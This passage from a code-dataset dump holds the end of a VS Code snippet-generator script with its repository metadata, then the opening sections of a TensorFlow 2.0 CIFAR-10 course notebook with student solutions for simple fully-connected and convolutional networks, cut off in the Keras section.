os.listdir(os.path.join(DIR, \"libs\")):\n    if filename.endswith(\".py\"):\n        prefix = filename.replace(\".py\", \"\")\n        push(prefix, read_file(os.path.join(\"libs\", filename)))\n\n\ndef main():\n    path = os.path.join(DIR, \".vscode/snippet.code-snippets\")\n    json.dump(snippets, open(path, \"w\"), indent=2)\n    path = \"/Users/nishio/Library/Application Support/Code/User/snippets/python.code-snippets\"\n    json.dump(snippets_for_global, open(path, \"w\"), indent=2)\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "5ee6c8050d02e9ad406350e1c4d2c43f4fc9736b", "size": 6250, "ext": "py", "lang": "Python", "max_stars_repo_path": "generate_snippets.py", "max_stars_repo_name": "nishio/atcoder", "max_stars_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-09T04:28:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-09T04:28:13.000Z", "max_issues_repo_path": "generate_snippets.py", "max_issues_repo_name": "nishio/atcoder", "max_issues_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "generate_snippets.py", "max_forks_repo_name": "nishio/atcoder", "max_forks_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.7642585551, "max_line_length": 94, "alphanum_fraction": 0.61424, "include": true, "reason": "import numpy", "num_tokens": 1778, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.16238003058646674, "lm_q1q2_score": 0.0717188761690386}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # What's this TensorFlow business?\n# \n# You've written a lot of code in this assignment to provide a whole host of neural network functionality. Dropout, Batch Norm, and 2D convolutions are some of the workhorses of deep learning in computer vision. You've also worked hard to make your code efficient and vectorized.\n# \n# For the last part of this assignment, though, we're going to leave behind your beautiful codebase and instead migrate to one of two popular deep learning frameworks: in this instance, TensorFlow (or PyTorch, if you choose to work with that notebook).\n\n# #### What is it?\n# TensorFlow is a system for executing computational graphs over Tensor objects, with native support for performing backpropogation for its Variables. In it, we work with Tensors which are n-dimensional arrays analogous to the numpy ndarray.\n# \n# #### Why?\n# \n# * Our code will now run on GPUs! Much faster training. Writing your own modules to run on GPUs is beyond the scope of this class, unfortunately.\n# * We want you to be ready to use one of these frameworks for your project so you can experiment more efficiently than if you were writing every feature you want to use by hand. \n# * We want you to stand on the shoulders of giants! TensorFlow and PyTorch are both excellent frameworks that will make your lives a lot easier, and now that you understand their guts, you are free to use them :) \n# * We want you to be exposed to the sort of deep learning code you might run into in academia or industry. \n\n# ## How will I learn TensorFlow?\n# \n# TensorFlow has many excellent tutorials available, including those from [Google themselves](https://www.tensorflow.org/get_started/get_started).\n# \n# Otherwise, this notebook will walk you through much of what you need to do to train models in TensorFlow. See the end of the notebook for some links to helpful tutorials if you want to learn more or need further clarification on topics that aren't fully explained here.\n# \n# **NOTE: This notebook is meant to teach you the latest version of Tensorflow 2.0. Most examples on the web today are still in 1.x, so be careful not to confuse the two when looking up documentation**.\n# \n# ## Install Tensorflow 2.0\n# Tensorflow 2.0 is still not in a fully 100% stable release, but it's still usable and more intuitive than TF 1.x. Please make sure you have it installed before moving on in this notebook! Here are some steps to get started:\n# \n# 1. Have the latest version of Anaconda installed on your machine.\n# 2. Create a new conda environment starting from Python 3.7. In this setup example, we'll call it `tf_20_env`.\n# 3. Run the command: `source activate tf_20_env`\n# 4. Then pip install TF 2.0 as described here: https://www.tensorflow.org/install/pip \n# \n# A guide on creating Anaconda enviornments: https://uoa-eresearch.github.io/eresearch-cookbook/recipe/2014/11/20/conda/\n# \n# This will give you an new enviornemnt to play in TF 2.0. Generally, if you plan to also use TensorFlow in your other projects, you might also want to keep a seperate Conda environment or virtualenv in Python 3.7 that has Tensorflow 1.9, so you can switch back and forth at will. \n\n# # Table of Contents\n# \n# This notebook has 5 parts. We will walk through TensorFlow at **three different levels of abstraction**, which should help you better understand it and prepare you for working on your project.\n# \n# 1. Part I, Preparation: load the CIFAR-10 dataset.\n# 2. Part II, Barebone TensorFlow: **Abstraction Level 1**, we will work directly with low-level TensorFlow graphs. \n# 3. Part III, Keras Model API: **Abstraction Level 2**, we will use `tf.keras.Model` to define arbitrary neural network architecture. \n# 4. Part IV, Keras Sequential + Functional API: **Abstraction Level 3**, we will use `tf.keras.Sequential` to define a linear feed-forward network very conveniently, and then explore the functional libraries for building unique and uncommon models that require more flexibility.\n# 5. Part V, CIFAR-10 open-ended challenge: please implement your own network to get as high accuracy as possible on CIFAR-10. You can experiment with any layer, optimizer, hyperparameters or other advanced features. \n# \n# We will discuss Keras in more detail later in the notebook.\n# \n# Here is a table of comparison:\n# \n# | API           | Flexibility | Convenience |\n# |---------------|-------------|-------------|\n# | Barebone      | High        | Low         |\n# | `tf.keras.Model`     | High        | Medium      |\n# | `tf.keras.Sequential` | Low         | High        |\n\n# # Part I: Preparation\n# \n# First, we load the CIFAR-10 dataset. This might take a few minutes to download the first time you run it, but after that the files should be cached on disk and loading should be faster.\n# \n# In previous parts of the assignment we used CS231N-specific code to download and read the CIFAR-10 dataset; however the `tf.keras.datasets` package in TensorFlow provides prebuilt utility functions for loading many common datasets.\n# \n# For the purposes of this assignment we will still write our own code to preprocess the data and iterate through it in minibatches. The `tf.data` package in TensorFlow provides tools for automating this process, but working with this package adds extra complication and is beyond the scope of this notebook. However using `tf.data` can be much more efficient than the simple approach used in this notebook, so you should consider using it for your project.\n\n# In[1]:\n\n\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport math\nimport timeit\nimport matplotlib.pyplot as plt\n\n#config = tf.ConfigProto()\n#config.gpu_options.allow_growth = True\n\n#get_ipython().run_line_magic('matplotlib', 'inline')\n\ngpu_devices = tf.config.experimental.list_physical_devices('GPU')\nfor device in gpu_devices:\n    tf.config.experimental.set_memory_growth(device, True)\n\n# In[2]:\n\n\ndef load_cifar10(num_training=49000, num_validation=1000, num_test=10000):\n    \"\"\"\n    Fetch the CIFAR-10 dataset from the web and perform preprocessing to prepare\n    it for the two-layer neural net classifier. These are the same steps as\n    we used for the SVM, but condensed to a single function.\n    \"\"\"\n    # Load the raw CIFAR-10 dataset and use appropriate data types and shapes\n    cifar10 = tf.keras.datasets.cifar10.load_data()\n    (X_train, y_train), (X_test, y_test) = cifar10\n    X_train = np.asarray(X_train, dtype=np.float32)\n    y_train = np.asarray(y_train, dtype=np.int32).flatten()\n    X_test = np.asarray(X_test, dtype=np.float32)\n    y_test = np.asarray(y_test, dtype=np.int32).flatten()\n\n    # Subsample the data\n    mask = range(num_training, num_training + num_validation)\n    X_val = X_train[mask]\n    y_val = y_train[mask]\n    mask = range(num_training)\n    X_train = X_train[mask]\n    y_train = y_train[mask]\n    mask = range(num_test)\n    X_test = X_test[mask]\n    y_test = y_test[mask]\n\n    # Normalize the data: subtract the mean pixel and divide by std\n    mean_pixel = X_train.mean(axis=(0, 1, 2), keepdims=True)\n    std_pixel = X_train.std(axis=(0, 1, 2), keepdims=True)\n    X_train = (X_train - mean_pixel) / std_pixel\n    X_val = (X_val - mean_pixel) / std_pixel\n    X_test = (X_test - mean_pixel) / std_pixel\n\n    return X_train, y_train, X_val, y_val, X_test, y_test\n\n# If there are errors with SSL downloading involving self-signed certificates,\n# it may be that your Python version was recently installed on the current machine.\n# See: https://github.com/tensorflow/tensorflow/issues/10779\n# To fix, run the command: /Applications/Python\\ 3.7/Install\\ Certificates.command\n#   ...replacing paths as necessary.\n\n# Invoke the above function to get our data.\nNHW = (0, 1, 2)\nX_train, y_train, X_val, y_val, X_test, y_test = load_cifar10()\nprint('Train data shape: ', X_train.shape)\nprint('Train labels shape: ', y_train.shape, y_train.dtype)\nprint('Validation data shape: ', X_val.shape)\nprint('Validation labels shape: ', y_val.shape)\nprint('Test data shape: ', X_test.shape)\nprint('Test labels shape: ', y_test.shape)\n\n\n# In[3]:\n\n\nclass Dataset(object):\n    def __init__(self, X, y, batch_size, shuffle=False):\n        \"\"\"\n        Construct a Dataset object to iterate over data X and labels y\n        \n        Inputs:\n        - X: Numpy array of data, of any shape\n        - y: Numpy array of labels, of any shape but with y.shape[0] == X.shape[0]\n        - batch_size: Integer giving number of elements per minibatch\n        - shuffle: (optional) Boolean, whether to shuffle the data on each epoch\n        \"\"\"\n        assert X.shape[0] == y.shape[0], 'Got different numbers of data and labels'\n        self.X, self.y = X, y\n        self.batch_size, self.shuffle = batch_size, shuffle\n\n    def __iter__(self):\n        N, B = self.X.shape[0], self.batch_size\n        idxs = np.arange(N)\n        if self.shuffle:\n            np.random.shuffle(idxs)\n        return iter((self.X[i:i+B], self.y[i:i+B]) for i in range(0, N, B))\n\n\ntrain_dset = Dataset(X_train, y_train, batch_size=64, shuffle=True)\nval_dset = Dataset(X_val, y_val, batch_size=64, shuffle=False)\ntest_dset = Dataset(X_test, y_test, batch_size=64)\n\n\n# In[4]:\n\n\n# We can iterate through a dataset like this:\nfor t, (x, y) in enumerate(train_dset):\n    print(t, x.shape, y.shape)\n    if t > 5: break\n\n\n# You can optionally **use GPU by setting the flag to True below**. It's not neccessary to use a GPU for this assignment; if you are working on Google Cloud then we recommend that you do not use a GPU, as it will be significantly more expensive.\n\n# In[5]:\n\n\n# Set up some global variables\nUSE_GPU = True\n\nif USE_GPU:\n    device = '/device:GPU:0'\nelse:\n    device = '/cpu:0'\n\n# Constant to control how often we print when training models\nprint_every = 100\n\nprint('Using device: ', device)\n\n\n# # Part II: Barebones TensorFlow\n# TensorFlow ships with various high-level APIs which make it very convenient to define and train neural networks; we will cover some of these constructs in Part III and Part IV of this notebook. In this section we will start by building a model with basic TensorFlow constructs to help you better understand what's going on under the hood of the higher-level APIs.\n# \n# **\"Barebones Tensorflow\" is important to understanding the building blocks of TensorFlow, but much of it involves concepts from TensorFlow 1.x.** We will be working with legacy modules such as `tf.Variable`.\n# \n# Therefore, please read and understand the differences between legacy (1.x) TF and the new (2.0) TF.\n# \n# ### Historical background on TensorFlow 1.x\n# \n# TensorFlow 1.x is primarily a framework for working with **static computational graphs**. Nodes in the computational graph are Tensors which will hold n-dimensional arrays when the graph is run; edges in the graph represent functions that will operate on Tensors when the graph is run to actually perform useful computation.\n# \n# Before Tensorflow 2.0, we had to configure the graph into two phases. There are plenty of tutorials online that explain this two-step process. The process generally looks like the following for TF 1.x:\n# 1. **Build a computational graph that describes the computation that you want to perform**. This stage doesn't actually perform any computation; it just builds up a symbolic representation of your computation. This stage will typically define one or more `placeholder` objects that represent inputs to the computational graph.\n# 2. **Run the computational graph many times.** Each time the graph is run (e.g. for one gradient descent step) you will specify which parts of the graph you want to compute, and pass a `feed_dict` dictionary that will give concrete values to any `placeholder`s in the graph.\n# \n# ### The new paradigm in Tensorflow 2.0\n# Now, with Tensorflow 2.0, we can simply adopt a functional form that is more Pythonic and similar in spirit to PyTorch and direct Numpy operation. Instead of the 2-step paradigm with computation graphs, making it (among other things) easier to debug TF code. You can read more details at https://www.tensorflow.org/guide/eager.\n# \n# The main difference between the TF 1.x and 2.0 approach is that the 2.0 approach doesn't make use of `tf.Session`, `tf.run`, `placeholder`, `feed_dict`. To get more details of what's different between the two version and how to convert between the two, check out the official migration guide: https://www.tensorflow.org/alpha/guide/migration_guide\n# \n# Later, in the rest of this notebook we'll focus on this new, simpler approach.\n\n# ### TensorFlow warmup: Flatten Function\n# \n# We can see this in action by defining a simple `flatten` function that will reshape image data for use in a fully-connected network.\n# \n# In TensorFlow, data for convolutional feature maps is typically stored in a Tensor of shape N x H x W x C where:\n# \n# - N is the number of datapoints (minibatch size)\n# - H is the height of the feature map\n# - W is the width of the feature map\n# - C is the number of channels in the feature map\n# \n# This is the right way to represent the data when we are doing something like a 2D convolution, that needs spatial understanding of where the intermediate features are relative to each other. When we use fully connected affine layers to process the image, however, we want each datapoint to be represented by a single vector -- it's no longer useful to segregate the different channels, rows, and columns of the data. So, we use a \"flatten\" operation to collapse the `H x W x C` values per representation into a single long vector. \n# \n# Notice the `tf.reshape` call has the target shape as `(N, -1)`, meaning it will reshape/keep the first dimension to be N, and then infer as necessary what the second dimension is in the output, so we can collapse the remaining dimensions from the input properly.\n# \n# **NOTE**: TensorFlow and PyTorch differ on the default Tensor layout; TensorFlow uses N x H x W x C but PyTorch uses N x C x H x W.\n\n# In[6]:\n\n\ndef flatten(x):\n    \"\"\"    \n    Input:\n    - TensorFlow Tensor of shape (N, D1, ..., DM)\n    \n    Output:\n    - TensorFlow Tensor of shape (N, D1 * ... * DM)\n    \"\"\"\n    N = tf.shape(x)[0]\n    return tf.reshape(x, (N, -1))\n\n\n# In[7]:\n\n\ndef test_flatten():\n    # Construct concrete values of the input data x using numpy\n    x_np = np.arange(24).reshape((2, 3, 4))\n    print('x_np:\\n', x_np, '\\n')\n    # Compute a concrete output value.\n    x_flat_np = flatten(x_np)\n    print('x_flat_np:\\n', x_flat_np, '\\n')\n\ntest_flatten()\n\n\n# ### Barebones TensorFlow: Define a Two-Layer Network\n# We will now implement our first neural network with TensorFlow: a fully-connected ReLU network with two hidden layers and no biases on the CIFAR10 dataset. For now we will use only low-level TensorFlow operators to define the network; later we will see how to use the higher-level abstractions provided by `tf.keras` to simplify the process.\n# \n# We will define the forward pass of the network in the function `two_layer_fc`; this will accept TensorFlow Tensors for the inputs and weights of the network, and return a TensorFlow Tensor for the scores. \n# \n# After defining the network architecture in the `two_layer_fc` function, we will test the implementation by checking the shape of the output.\n# \n# **It's important that you read and understand this implementation.**\n\n# In[8]:\n\n\ndef two_layer_fc(x, params):\n    \"\"\"\n    A fully-connected neural network; the architecture is:\n    fully-connected layer -> ReLU -> fully connected layer.\n    Note that we only need to define the forward pass here; TensorFlow will take\n    care of computing the gradients for us.\n    \n    The input to the network will be a minibatch of data, of shape\n    (N, d1, ..., dM) where d1 * ... * dM = D. The hidden layer will have H units,\n    and the output layer will produce scores for C classes.\n\n    Inputs:\n    - x: A TensorFlow Tensor of shape (N, d1, ..., dM) giving a minibatch of\n      input data.\n    - params: A list [w1, w2] of TensorFlow Tensors giving weights for the\n      network, where w1 has shape (D, H) and w2 has shape (H, C).\n    \n    Returns:\n    - scores: A TensorFlow Tensor of shape (N, C) giving classification scores\n      for the input data x.\n    \"\"\"\n    w1, w2 = params                   # Unpack the parameters\n    x = flatten(x)                    # Flatten the input; now x has shape (N, D)\n    h = tf.nn.relu(tf.matmul(x, w1))  # Hidden layer: h has shape (N, H)\n    scores = tf.matmul(h, w2)         # Compute scores of shape (N, C)\n    return scores\n\n\n# In[9]:\n\n\ndef two_layer_fc_test():\n    hidden_layer_size = 42\n\n    # Scoping our TF operations under a tf.device context manager \n    # lets us tell TensorFlow where we want these Tensors to be\n    # multiplied and/or operated on, e.g. on a CPU or a GPU.\n    with tf.device(device):        \n        x = tf.zeros((64, 32, 32, 3))\n        w1 = tf.zeros((32 * 32 * 3, hidden_layer_size))\n        w2 = tf.zeros((hidden_layer_size, 10))\n\n        # Call our two_layer_fc function for the forward pass of the network.\n        scores = two_layer_fc(x, [w1, w2])\n\n    print(scores.shape)\n\ntwo_layer_fc_test()\n\n\n# ### Barebones TensorFlow: Three-Layer ConvNet\n# Here you will complete the implementation of the function `three_layer_convnet` which will perform the forward pass of a three-layer convolutional network. The network should have the following architecture:\n# \n# 1. A convolutional layer (with bias) with `channel_1` filters, each with shape `KW1 x KH1`, and zero-padding of two\n# 2. ReLU nonlinearity\n# 3. A convolutional layer (with bias) with `channel_2` filters, each with shape `KW2 x KH2`, and zero-padding of one\n# 4. ReLU nonlinearity\n# 5. Fully-connected layer with bias, producing scores for `C` classes.\n# \n# **HINT**: For convolutions: https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/nn/conv2d; be careful with padding!\n# \n# **HINT**: For biases: https://www.tensorflow.org/performance/xla/broadcasting\n\n# In[10]:\n\n\ndef three_layer_convnet(x, params):\n    \"\"\"\n    A three-layer convolutional network with the architecture described above.\n    \n    Inputs:\n    - x: A TensorFlow Tensor of shape (N, H, W, 3) giving a minibatch of images\n    - params: A list of TensorFlow Tensors giving the weights and biases for the\n      network; should contain the following:\n      - conv_w1: TensorFlow Tensor of shape (KH1, KW1, 3, channel_1) giving\n        weights for the first convolutional layer.\n      - conv_b1: TensorFlow Tensor of shape (channel_1,) giving biases for the\n        first convolutional layer.\n      - conv_w2: TensorFlow Tensor of shape (KH2, KW2, channel_1, channel_2)\n        giving weights for the second convolutional layer\n      - conv_b2: TensorFlow Tensor of shape (channel_2,) giving biases for the\n        second convolutional layer.\n      - fc_w: TensorFlow Tensor giving weights for the fully-connected layer.\n        Can you figure out what the shape should be?\n      - fc_b: TensorFlow Tensor giving biases for the fully-connected layer.\n        Can you figure out what the shape should be?\n    \"\"\"\n    conv_w1, conv_b1, conv_w2, conv_b2, fc_w, fc_b = params\n    scores = None\n    ############################################################################\n    # TODO: Implement the forward pass for the three-layer ConvNet.            #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    \n    # 1.\n    w1x1 = tf.nn.conv2d(input=x, filters=conv_w1, strides = 1, padding=[[0, 0], [2, 2], [2, 2], [0, 0]], data_format='NHWC', name=\"Prvi\")\n    conv_layer_1 = tf.nn.bias_add(w1x1, conv_b1)\n    \n    # 2.\n    reLu1 = tf.nn.relu(conv_layer_1)\n    \n    # 3.\n    w2x2 = tf.nn.conv2d(input=reLu1, filters=conv_w2, strides = 1, padding=[[0, 0], [1, 1], [1, 1], [0, 0]], data_format='NHWC', name=\"Drugi\")\n    conv_layer_2 = tf.nn.bias_add(w2x2, conv_b2)\n    \n    # 4.\n    relu2 = tf.nn.relu(conv_layer_2)\n    \n    # 5.\n    relu2flatten = flatten(relu2)\n    w3x3 = tf.matmul(relu2flatten, fc_w)\n    scores = tf.nn.bias_add(w3x3, fc_b)\n    \n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                              END OF YOUR CODE                            #\n    ############################################################################\n    return scores\n\n\n# After defing the forward pass of the three-layer ConvNet above, run the following cell to test your implementation. Like the two-layer network, we run the graph on a batch of zeros just to make sure the function doesn't crash, and produces outputs of the correct shape.\n# \n# When you run this function, `scores_np` should have shape `(64, 10)`.\n\n# In[11]:\n\n\ndef three_layer_convnet_test():\n    \n    with tf.device(device):\n        x = tf.zeros((64, 32, 32, 3))\n        conv_w1 = tf.zeros((5, 5, 3, 6))\n        conv_b1 = tf.zeros((6,))\n        conv_w2 = tf.zeros((3, 3, 6, 9))\n        conv_b2 = tf.zeros((9,))\n        fc_w = tf.zeros((32 * 32 * 9, 10))\n        fc_b = tf.zeros((10,))\n        params = [conv_w1, conv_b1, conv_w2, conv_b2, fc_w, fc_b]\n        scores = three_layer_convnet(x, params)\n\n    # Inputs to convolutional layers are 4-dimensional arrays with shape\n    # [batch_size, height, width, channels]\n    print('scores_np has shape: ', scores.shape)\n\nthree_layer_convnet_test()\n\n\n# ### Barebones TensorFlow: Training Step\n# \n# We now define the `training_step` function performs a single training step. This will take three basic steps:\n# \n# 1. Compute the loss\n# 2. Compute the gradient of the loss with respect to all network weights\n# 3. Make a weight update step using (stochastic) gradient descent.\n# \n# \n# We need to use a few new TensorFlow functions to do all of this:\n# - For computing the cross-entropy loss we'll use `tf.nn.sparse_softmax_cross_entropy_with_logits`: https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/nn/sparse_softmax_cross_entropy_with_logits\n# \n# - For averaging the loss across a minibatch of data we'll use `tf.reduce_mean`:\n# https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/reduce_mean\n# \n# - For computing gradients of the loss with respect to the weights we'll use `tf.GradientTape` (useful for Eager execution):  https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/GradientTape\n# \n# - We'll mutate the weight values stored in a TensorFlow Tensor using `tf.assign_sub` (\"sub\" is for subtraction): https://www.tensorflow.org/api_docs/python/tf/assign_sub \n# \n\n# In[12]:\n\n\ndef training_step(model_fn, x, y, params, learning_rate):\n    with tf.GradientTape() as tape:\n        scores = model_fn(x, params) # Forward pass of the model\n        loss = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y, logits=scores)\n        total_loss = tf.reduce_mean(loss)\n        grad_params = tape.gradient(total_loss, params)\n\n        # Make a vanilla gradient descent step on all of the model parameters\n        # Manually update the weights using assign_sub()\n        for w, grad_w in zip(params, grad_params):\n            w.assign_sub(learning_rate * grad_w)\n                        \n        return total_loss\n\n\n# In[13]:\n\n\ndef train_part2(model_fn, init_fn, learning_rate):\n    \"\"\"\n    Train a model on CIFAR-10.\n    \n    Inputs:\n    - model_fn: A Python function that performs the forward pass of the model\n      using TensorFlow; it should have the following signature:\n      scores = model_fn(x, params) where x is a TensorFlow Tensor giving a\n      minibatch of image data, params is a list of TensorFlow Tensors holding\n      the model weights, and scores is a TensorFlow Tensor of shape (N, C)\n      giving scores for all elements of x.\n    - init_fn: A Python function that initializes the parameters of the model.\n      It should have the signature params = init_fn() where params is a list\n      of TensorFlow Tensors holding the (randomly initialized) weights of the\n      model.\n    - learning_rate: Python float giving the learning rate to use for SGD.\n    \"\"\"\n    \n    \n    params = init_fn()  # Initialize the model parameters            \n        \n    for t, (x_np, y_np) in enumerate(train_dset):\n        # Run the graph on a batch of training data.\n        loss = training_step(model_fn, x_np, y_np, params, learning_rate)\n        \n        # Periodically print the loss and check accuracy on the val set.\n        if t % print_every == 0:\n            print('Iteration %d, loss = %.4f' % (t, loss))\n            check_accuracy(val_dset, x_np, model_fn, params)\n\n\n# In[14]:\n\n\ndef check_accuracy(dset, x, model_fn, params):\n    \"\"\"\n    Check accuracy on a classification model, e.g. for validation.\n    \n    Inputs:\n    - dset: A Dataset object against which to check accuracy\n    - x: A TensorFlow placeholder Tensor where input images should be fed\n    - model_fn: the Model we will be calling to make predictions on x\n    - params: parameters for the model_fn to work with\n      \n    Returns: Nothing, but prints the accuracy of the model\n    \"\"\"\n    num_correct, num_samples = 0, 0\n    for x_batch, y_batch in dset:\n        scores_np = model_fn(x_batch, params).numpy()\n        y_pred = scores_np.argmax(axis=1)\n        num_samples += x_batch.shape[0]\n        num_correct += (y_pred == y_batch).sum()\n    acc = float(num_correct) / num_samples\n    print('Got %d / %d correct (%.2f%%)' % (num_correct, num_samples, 100 * acc))\n\n\n# ### Barebones TensorFlow: Initialization\n# We'll use the following utility method to initialize the weight matrices for our models using Kaiming's normalization method.\n# \n# [1] He et al, *Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification\n# *, ICCV 2015, https://arxiv.org/abs/1502.01852\n\n# In[15]:\n\n\ndef create_matrix_with_kaiming_normal(shape):\n    if len(shape) == 2:\n        fan_in, fan_out = shape[0], shape[1]\n    elif len(shape) == 4:\n        fan_in, fan_out = np.prod(shape[:3]), shape[3]\n    return tf.keras.backend.random_normal(shape) * np.sqrt(2.0 / fan_in)\n\n\n# ### Barebones TensorFlow: Train a Two-Layer Network\n# We are finally ready to use all of the pieces defined above to train a two-layer fully-connected network on CIFAR-10.\n# \n# We just need to define a function to initialize the weights of the model, and call `train_part2`.\n# \n# Defining the weights of the network introduces another important piece of TensorFlow API: `tf.Variable`. A TensorFlow Variable is a Tensor whose value is stored in the graph and persists across runs of the computational graph; however unlike constants defined with `tf.zeros` or `tf.random_normal`, the values of a Variable can be mutated as the graph runs; these mutations will persist across graph runs. Learnable parameters of the network are usually stored in Variables.\n# \n# You don't need to tune any hyperparameters, but you should achieve validation accuracies above 40% after one epoch of training.\n\n# In[16]:\n\n\ndef two_layer_fc_init():\n    \"\"\"\n    Initialize the weights of a two-layer network, for use with the\n    two_layer_network function defined above. \n    You can use the `create_matrix_with_kaiming_normal` helper!\n    \n    Inputs: None\n    \n    Returns: A list of:\n    - w1: TensorFlow tf.Variable giving the weights for the first layer\n    - w2: TensorFlow tf.Variable giving the weights for the second layer\n    \"\"\"\n    hidden_layer_size = 4000\n    w1 = tf.Variable(create_matrix_with_kaiming_normal((3 * 32 * 32, 4000)))\n    w2 = tf.Variable(create_matrix_with_kaiming_normal((4000, 10)))\n    return [w1, w2]\n\nlearning_rate = 1e-2\ntrain_part2(two_layer_fc, two_layer_fc_init, learning_rate)\n\n\n# ### Barebones TensorFlow: Train a three-layer ConvNet\n# We will now use TensorFlow to train a three-layer ConvNet on CIFAR-10.\n# \n# You need to implement the `three_layer_convnet_init` function. Recall that the architecture of the network is:\n# \n# 1. Convolutional layer (with bias) with 32 5x5 filters, with zero-padding 2\n# 2. ReLU\n# 3. Convolutional layer (with bias) with 16 3x3 filters, with zero-padding 1\n# 4. ReLU\n# 5. Fully-connected layer (with bias) to compute scores for 10 classes\n# \n# You don't need to do any hyperparameter tuning, but you should see validation accuracies above 43% after one epoch of training.\n\n# In[17]:\n\n\ndef three_layer_convnet_init():\n    \"\"\"\n    Initialize the weights of a Three-Layer ConvNet, for use with the\n    three_layer_convnet function defined above.\n    You can use the `create_matrix_with_kaiming_normal` helper!\n    \n    Inputs: None\n    \n    Returns a list containing:\n    - conv_w1: TensorFlow tf.Variable giving weights for the first conv layer\n    - conv_b1: TensorFlow tf.Variable giving biases for the first conv layer\n    - conv_w2: TensorFlow tf.Variable giving weights for the second conv layer\n    - conv_b2: TensorFlow tf.Variable giving biases for the second conv layer\n    - fc_w: TensorFlow tf.Variable giving weights for the fully-connected layer\n    - fc_b: TensorFlow tf.Variable giving biases for the fully-connected layer\n    \"\"\"\n    params = None\n    ############################################################################\n    # TODO: Initialize the parameters of the three-layer network.              #\n    ############################################################################\n    # *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    \n      #     network; should contain the following:\n      # - conv_w1: TensorFlow Tensor of shape (KH1, KW1, 3, channel_1) giving\n      #   weights for the first convolutional layer.\n      # - conv_b1: TensorFlow Tensor of shape (channel_1,) giving biases for the\n      #   first convolutional layer.\n      # - conv_w2: TensorFlow Tensor of shape (KH2, KW2, channel_1, channel_2)\n      #   giving weights for the second convolutional layer\n      # - conv_b2: TensorFlow Tensor of shape (channel_2,) giving biases for the\n      #   second convolutional layer.\n      # - fc_w: TensorFlow Tensor giving weights for the fully-connected layer.\n      #   Can you figure out what the shape should be?\n      # - fc_b: TensorFlow Tensor giving biases for the fully-connected layer.\n      #   Can you figure out what the shape should be?\n      # \n    #  conv_w1, conv_b1, conv_w2, conv_b2, fc_w, fc_b = params\n    conv_w1 = tf.Variable(create_matrix_with_kaiming_normal((5, 5, 3, 32)))\n    conv_b1 = tf.Variable(tf.zeros((32,)))\n    conv_w2 = tf.Variable(create_matrix_with_kaiming_normal((3, 3, 32, 16)))\n    conv_b2 = tf.Variable(tf.zeros((16,)))\n    fc_w = tf.Variable(create_matrix_with_kaiming_normal((32 * 32 * 16, 10)))\n    fc_b = tf.Variable(tf.zeros((10,)))\n    params = [conv_w1, conv_b1, conv_w2, conv_b2, fc_w, fc_b]\n    # *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****\n    ############################################################################\n    #                             END OF YOUR CODE                             #\n    ############################################################################\n    return params\n\nlearning_rate = 3e-3\ntrain_part2(three_layer_convnet, three_layer_convnet_init, learning_rate)\n\n\n# # Part III: Keras Model Subclassing API\n# \n# Implementing a neural network using the low-level TensorFlow API is a good way to understand how TensorFlow works, but it's a little inconvenient - we had to manually keep track of all Tensors holding learnable parameters. This was fine for a small network, but could quickly become unweildy for a large complex model.\n# \n# Fortunately TensorFlow 2.0 provides higher-level APIs such as `tf.keras` which make it easy to build models out of modular, object-oriented layers. Further, TensorFlow 2.0 uses eager execution that evaluates operations immediately, without explicitly constructing any computational graphs. This makes it easy to write and debug models, and reduces the boilerplate code.\n# \n# In this part of the notebook we will define neural network models using the `tf.keras.Model` API. To implement your own model, you need to do the following:\n# \n# 1. Define a new class which subclasses `tf.keras.Model`. Give your class an intuitive name that describes it, like `TwoLayerFC` or `ThreeLayerConvNet`.\n# 2. In the initializer `__init__()` for your new class, define all the layers you need as class attributes. The `tf.keras.layers` package provides many common neural-network layers, like `tf.keras.layers.Dense` for fully-connected layers and `tf.keras.layers.Conv2D` for convolutional layers. Under the hood, these layers will construct `Variable` Tensors for any learnable parameters. **Warning**: Don't forget to call `super(YourModelName, self).__init__()` as the first line in your initializer!\n# 3. Implement the `call()` method for your class; this implements the forward pass of your model, and defines the *connectivity* of your network. Layers defined in `__init__()` implement `__call__()` so they can be used as function objects that transform input Tensors into output Tensors. Don't define any new layers in `call()`; any layers you want to use in the forward pass should be defined in `__init__()`.\n# \n# After you define your `tf.keras.Model` subclass, you can instantiate it and use it like the model functions from Part II.\n# \n# ### Keras Model Subclassing API: Two-Layer Network\n# \n# Here is a concrete example of using the `tf.keras.Model` API to define a two-layer network. There are a few new bits of API to be aware of here:\n# \n# We use an `Initializer` object to set up the initial values of the learnable parameters of the layers; in particular `tf.initializers.VarianceScaling` gives behavior similar to the Kaiming initialization method we used in Part II. You can read more about it here: https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/initializers/VarianceScaling\n# \n# We construct `tf.keras.layers.Dense` objects to represent the two fully-connected layers of the model. In addition to multiplying their input by a weight matrix and adding a bias vector, these layer can also apply a nonlinearity for you. For the first layer we specify a ReLU activation function by passing `activation='relu'` to the constructor; the second layer uses softmax activation function. Finally, we use `tf.keras.layers.Flatten` to flatten the output from the previous 